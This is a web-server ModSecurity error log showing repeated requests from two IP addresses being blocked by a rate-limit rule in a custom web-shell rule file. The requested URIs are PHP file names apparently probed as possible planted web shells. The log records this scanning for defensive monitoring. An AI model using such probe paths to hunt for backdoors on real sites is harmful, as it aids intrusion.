[Sat Feb 28 06:46:55.390267 2026] [:error] [pid 22194:tid 22207] [client 158.158.96.194:32402] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/forbidals.php"] [unique_id "aaIe336mbajs3bzQGysKWwAAAUs"]
[Sat Feb 28 06:46:56.864633 2026] [:error] [pid 39292:tid 39305] [client 158.158.96.194:33088] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/forbidals.php"] [unique_id "aaIe4KIAO5fN7BxyqcF33gAAAMs"]
[Sat Feb 28 06:47:00.613475 2026] [:error] [pid 39292:tid 39314] [client 158.158.96.194:35677] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/forbidals.php"] [unique_id "aaIe5KIAO5fN7BxyqcF37AAAANQ"]
[Sat Feb 28 06:47:04.058580 2026] [:error] [pid 39292:tid 39308] [client 158.158.96.194:1379] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/forbidals.php"] [unique_id "aaIe6KIAO5fN7BxyqcF39gAAAM4"]
[Sat Feb 28 06:47:07.236526 2026] [:error] [pid 39292:tid 39318] [client 158.158.96.194:1392] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/X7x.php"] [unique_id "aaIe66IAO5fN7BxyqcF3_QAAANg"]
[Sat Feb 28 06:47:08.800909 2026] [:error] [pid 39292:tid 39299] [client 158.158.96.194:24053] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/X7x.php"] [unique_id "aaIe7KIAO5fN7BxyqcF4CgAAAMU"]
[Sat Feb 28 06:47:11.307454 2026] [:error] [pid 39184:tid 39228] [client 158.158.96.194:17068] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/X7x.php"] [unique_id "aaIe71tZF9Zd_U7easBAJQAAAEk"]
[Sat Feb 28 06:47:14.441551 2026] [:error] [pid 39292:tid 39307] [client 158.158.96.194:43343] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/X7x.php"] [unique_id "aaIe8qIAO5fN7BxyqcF4IwAAAM0"]
[Sat Feb 28 06:47:15.838825 2026] [:error] [pid 22194:tid 22217] [client 158.158.96.194:16349] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ccou.php"] [unique_id "aaIe836mbajs3bzQGysKjwAAAVU"]
[Sat Feb 28 06:47:17.427173 2026] [:error] [pid 22194:tid 22220] [client 158.158.96.194:26573] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ccou.php"] [unique_id "aaIe9X6mbajs3bzQGysKkgAAAVg"]
[Sat Feb 28 06:47:19.540269 2026] [:error] [pid 39292:tid 39305] [client 158.158.96.194:22476] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ccou.php"] [unique_id "aaIe96IAO5fN7BxyqcF4NwAAAMs"]
[Sat Feb 28 06:47:21.144305 2026] [:error] [pid 22194:tid 22209] [client 158.158.96.194:15641] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ccou.php"] [unique_id "aaIe-X6mbajs3bzQGysKmgAAAU0"]
[Sat Feb 28 06:47:22.104005 2026] [:error] [pid 22194:tid 22217] [client 158.158.96.194:25234] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/get.php"] [unique_id "aaIe-n6mbajs3bzQGysKnwAAAVU"]
[Sat Feb 28 06:47:24.000664 2026] [:error] [pid 22194:tid 22220] [client 158.158.96.194:33351] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/get.php"] [unique_id "aaIe-36mbajs3bzQGysKpAAAAVg"]
[Sat Feb 28 06:47:26.911985 2026] [:error] [pid 39292:tid 39296] [client 158.158.96.194:22464] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/get.php"] [unique_id "aaIe_qIAO5fN7BxyqcF4UAAAAMI"]
[Sat Feb 28 06:47:28.229020 2026] [:error] [pid 39185:tid 39260] [client 158.158.96.194:33348] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/get.php"] [unique_id "aaIfABVE-FfM89u7BQZUBwAAAI4"]
[Sat Feb 28 06:47:30.496299 2026] [:error] [pid 11791:tid 11805] [client 158.158.96.194:1461] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/koiy.php"] [unique_id "aaIfAmuX5e1Q32gqxH2znAAAAQw"]
[Sat Feb 28 06:47:31.786825 2026] [:error] [pid 11791:tid 11806] [client 158.158.96.194:22500] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/koiy.php"] [unique_id "aaIfA2uX5e1Q32gqxH2znQAAAQ0"]
[Sat Feb 28 06:47:36.605359 2026] [:error] [pid 39292:tid 39307] [client 158.158.96.194:22404] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/koiy.php"] [unique_id "aaIfCKIAO5fN7BxyqcF4dgAAAM0"]
[Sat Feb 28 06:47:38.830835 2026] [:error] [pid 39292:tid 39301] [client 158.158.96.194:34954] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/koiy.php"] [unique_id "aaIfCqIAO5fN7BxyqcF4kQAAAMc"]
[Sat Feb 28 06:47:46.556796 2026] [:error] [pid 22194:tid 22219] [client 158.158.96.194:13781] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms.php"] [unique_id "aaIfEn6mbajs3bzQGysK1QAAAVc"]
[Sat Feb 28 06:50:20.384996 2026] [:error] [pid 39292:tid 39316] [client 158.158.96.194:25313] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kj.php"] [unique_id "aaIfrKIAO5fN7BxyqcF76QAAANY"]
[Sat Feb 28 06:50:24.269168 2026] [:error] [pid 22194:tid 22218] [client 158.158.96.194:64973] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kj.php"] [unique_id "aaIfsH6mbajs3bzQGysMbwAAAVY"]
[Sat Feb 28 06:50:25.656692 2026] [:error] [pid 22194:tid 22200] [client 158.158.96.194:15434] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kj.php"] [unique_id "aaIfsX6mbajs3bzQGysMeQAAAUQ"]
[Sat Feb 28 06:50:34.152290 2026] [:error] [pid 39185:tid 39246] [client 158.158.96.194:19797] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f6.php"] [unique_id "aaIfuhVE-FfM89u7BQZVKQAAAIA"]
[Sat Feb 28 06:50:39.471824 2026] [:error] [pid 39185:tid 39252] [client 158.158.96.194:27561] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f6.php"] [unique_id "aaIfvxVE-FfM89u7BQZVPgAAAIY"]
[Sat Feb 28 06:50:41.119776 2026] [:error] [pid 39185:tid 39255] [client 158.158.96.194:22501] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f6.php"] [unique_id "aaIfwRVE-FfM89u7BQZVRgAAAIk"]
[Sat Feb 28 06:50:43.222282 2026] [:error] [pid 39184:tid 39221] [client 158.158.96.194:2007] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f6.php"] [unique_id "aaIfw1tZF9Zd_U7easBBJQAAAEI"]
[Sat Feb 28 06:50:45.765794 2026] [:error] [pid 22194:tid 22201] [client 158.158.96.194:13386] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ocxla.php"] [unique_id "aaIfxX6mbajs3bzQGysMlwAAAUU"]
[Sat Feb 28 06:50:52.258248 2026] [:error] [pid 39292:tid 39306] [client 158.158.96.194:35657] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ocxla.php"] [unique_id "aaIfzKIAO5fN7BxyqcF8UQAAAMw"]
[Sat Feb 28 06:50:53.336091 2026] [:error] [pid 11791:tid 11806] [client 158.158.96.194:20945] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ocxla.php"] [unique_id "aaIfzWuX5e1Q32gqxH203wAAAQ0"]
[Sat Feb 28 06:50:55.030283 2026] [:error] [pid 39184:tid 39225] [client 158.158.96.194:21575] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ocxla.php"] [unique_id "aaIfz1tZF9Zd_U7easBBMQAAAEY"]
[Sat Feb 28 06:50:56.988261 2026] [:error] [pid 22194:tid 22217] [client 158.158.96.194:26260] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/god.php"] [unique_id "aaIf0H6mbajs3bzQGysMogAAAVU"]
[Sat Feb 28 06:50:59.843780 2026] [:error] [pid 22194:tid 22208] [client 158.158.96.194:17878] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/god.php"] [unique_id "aaIf036mbajs3bzQGysMqAAAAUw"]
[Sat Feb 28 06:51:08.038619 2026] [:error] [pid 39184:tid 39231] [client 158.158.96.194:14543] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/god.php"] [unique_id "aaIf3FtZF9Zd_U7easBBQQAAAEw"]
[Sat Feb 28 06:51:13.110435 2026] [:error] [pid 39183:tid 39199] [client 158.158.96.194:25595] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cu.php"] [unique_id "aaIf4RCf4HvhVePw3LZznAAAAAc"]
[Sat Feb 28 07:17:16.770639 2026] [:error] [pid 22194:tid 22207] [client 20.151.113.230:40130] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "aaIl_H6mbajs3bzQGysfXQAAAUs"]
[Sat Feb 28 07:17:17.215886 2026] [:error] [pid 39184:tid 39238] [client 20.151.113.230:49312] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "aaIl_VtZF9Zd_U7easBIggAAAFM"]
[Sat Feb 28 07:17:17.666930 2026] [:error] [pid 11791:tid 11801] [client 20.151.113.230:56303] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "aaIl_WuX5e1Q32gqxH3AQwAAAQg"]
[Sat Feb 28 07:17:18.089948 2026] [:error] [pid 39183:tid 39212] [client 20.151.113.230:64844] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "aaIl_hCf4HvhVePw3LZ40QAAABQ"]
[Sat Feb 28 07:17:18.513713 2026] [:error] [pid 22194:tid 22200] [client 20.151.113.230:56281] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/000.php"] [unique_id "aaIl_n6mbajs3bzQGysfYgAAAUQ"]
[Sat Feb 28 07:17:18.935608 2026] [:error] [pid 22194:tid 22217] [client 20.151.113.230:49309] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/000.php"] [unique_id "aaIl_n6mbajs3bzQGysfaAAAAVU"]
[Sat Feb 28 07:17:19.349571 2026] [:error] [pid 22194:tid 22196] [client 20.151.113.230:49285] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/000.php"] [unique_id "aaIl_36mbajs3bzQGysfbAAAAUA"]
[Sat Feb 28 07:17:19.781635 2026] [:error] [pid 39184:tid 39230] [client 20.151.113.230:64833] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/000.php"] [unique_id "aaIl_1tZF9Zd_U7easBIhgAAAEs"]
[Sat Feb 28 07:17:20.201056 2026] [:error] [pid 39292:tid 39305] [client 20.151.113.230:61926] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mails.php"] [unique_id "aaImAKIAO5fN7BxyqcGVCgAAAMs"]
[Sat Feb 28 07:17:20.622035 2026] [:error] [pid 39292:tid 39311] [client 20.151.113.230:40178] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mails.php"] [unique_id "aaImAKIAO5fN7BxyqcGVDwAAANE"]
[Sat Feb 28 07:17:21.044763 2026] [:error] [pid 22194:tid 22200] [client 20.151.113.230:56311] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mails.php"] [unique_id "aaImAX6mbajs3bzQGysfdQAAAUQ"]
[Sat Feb 28 07:17:21.459101 2026] [:error] [pid 22194:tid 22196] [client 20.151.113.230:47492] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mails.php"] [unique_id "aaImAX6mbajs3bzQGysffQAAAUA"]
[Sat Feb 28 07:17:21.870738 2026] [:error] [pid 22194:tid 22211] [client 20.151.113.230:48711] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xex.php"] [unique_id "aaImAX6mbajs3bzQGysfgQAAAU8"]
[Sat Feb 28 07:17:22.282854 2026] [:error] [pid 39292:tid 39317] [client 20.151.113.230:61894] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xex.php"] [unique_id "aaImAqIAO5fN7BxyqcGVFQAAANc"]
[Sat Feb 28 07:17:22.695568 2026] [:error] [pid 39292:tid 39307] [client 20.151.113.230:49321] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xex.php"] [unique_id "aaImAqIAO5fN7BxyqcGVGAAAAM0"]
[Sat Feb 28 07:17:23.108806 2026] [:error] [pid 22194:tid 22202] [client 20.151.113.230:64879] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xex.php"] [unique_id "aaImA36mbajs3bzQGysfigAAAUY"]
[Sat Feb 28 07:17:23.519925 2026] [:error] [pid 22194:tid 22203] [client 20.151.113.230:40173] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/n3.php"] [unique_id "aaImA36mbajs3bzQGysfjAAAAUc"]
[Sat Feb 28 07:17:23.953187 2026] [:error] [pid 39185:tid 39261] [client 20.151.113.230:64884] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/n3.php"] [unique_id "aaImAxVE-FfM89u7BQZd2QAAAI8"]
[Sat Feb 28 07:17:24.369149 2026] [:error] [pid 11791:tid 11814] [client 20.151.113.230:40179] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/n3.php"] [unique_id "aaImBGuX5e1Q32gqxH3ATQAAARU"]
[Sat Feb 28 07:17:24.797238 2026] [:error] [pid 11791:tid 11811] [client 20.151.113.230:61936] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/n3.php"] [unique_id "aaImBGuX5e1Q32gqxH3ATgAAARI"]
